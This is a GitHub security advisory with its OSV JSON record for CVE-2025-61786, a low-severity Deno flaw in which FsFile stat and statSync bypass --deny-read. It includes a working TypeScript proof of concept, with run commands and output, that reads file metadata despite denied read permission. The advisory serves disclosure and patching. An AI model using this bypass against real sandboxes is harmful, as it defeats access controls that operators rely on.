GHSA-QQ26-84MH-26J9

Vulnerability from github – Published: 2025-10-08 17:56 – Updated: 2025-10-08 17:56
VLAI?
Summary
Deno's --deny-read check does not prevent permission bypass
Details

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output: - deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Severity ?
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-08T17:56:40Z",
    "nvd_published_at": "2025-10-08T01:15:33Z",
    "severity": "LOW"
  },
  "details": "### Summary \n\n`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.\n\nIt\u0027s possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)\n\nSimilar APIs like `Deno.stat` and `Deno.statSync` require\u00a0`allow-read`\u00a0permission, however, when a file is opened, even with file-write only flags and deny-read permission, it\u0027s still possible to retrieve file stats, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test1.txt\n```\n\n- `poc_file.stat.ts`\n```ts\n// touch test1.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1\n// deno run --allow-write=./ poc_file.stat.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = await file.stat();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2\n// deno run --allow-write=./ poc_file.stat.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = file.statSync();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3\n// deno run --allow-write=./ poc_file.stat.ts 3\nasync function poc3(){\n    // not executed\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4\n// deno run --allow-write=./ poc_file.stat.ts 4\nfunction poc4(){\n    // not executed\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"read\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\n\nOutput:\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n                                ^\n    ...\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n                          ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass",
  "id": "GHSA-qq26-84mh-26j9",
  "modified": "2025-10-08T17:56:40Z",
  "published": "2025-10-08T17:56:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/pull/30876"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s --deny-read check does not prevent permission bypass"
}


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Detection rules are retrieved from Rulezet.